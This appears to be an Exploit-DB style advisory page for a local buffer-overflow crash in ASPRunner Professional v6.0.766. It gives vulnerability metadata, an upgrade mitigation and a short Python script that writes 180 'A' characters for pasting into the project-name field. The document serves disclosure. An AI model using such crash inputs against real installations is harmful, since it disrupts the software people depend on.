ASPRunner Professional v6.0.766 - Denial of Service (PoC)

vendor:

ASPRunner Professional

by:

Rafael Pedrero

7.5

CVSS

HIGH

Denial of Service (DoS) Local Buffer Overflow

119

CWE

Product Name: ASPRunner Professional

Affected Version From: v6.0.766

Affected Version To: v6.0.766

Patch Exists: YES

Related CWE: N/A

CPE: a:xlinesoft:asprunnerpro:6.0.766

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows XP SP3

2019

ASPRunner Professional v6.0.766 – Denial of Service (PoC)

When a long string of 180 'A' characters is copied to the clipboard and pasted into the 'Project name' field of the 'Create a new project' wizard, a crash occurs.

Mitigation:

Upgrade to the latest version of ASPRunner Professional

Source

Exploit-DB raw data:

# Exploit Title: ASPRunner Professional v6.0.766 - Denial of Service (PoC)
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-30
# Vendor Homepage: http://www.xlinesoft.com/asprunnerpro
# Software Link : http://www.xlinesoft.com/asprunnerpro
# Tested Version: v6.0.766
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run AspRunnerPro.exe
# 2.- copy content AspRunnerPro_Crash.txt or 180 "A" to clipboard (result from this python script)
# 3.- Go to Wizard "Create a new project" - in "Project name:" field paste the result (180 "A" or more)
# 4.- Click in Next button and you will see a crash.

#!/usr/bin/env python

crash = "\x41" * 180
f = open ("AspRunnerPro_Crash.txt", "w")
f.write(crash)
f.close()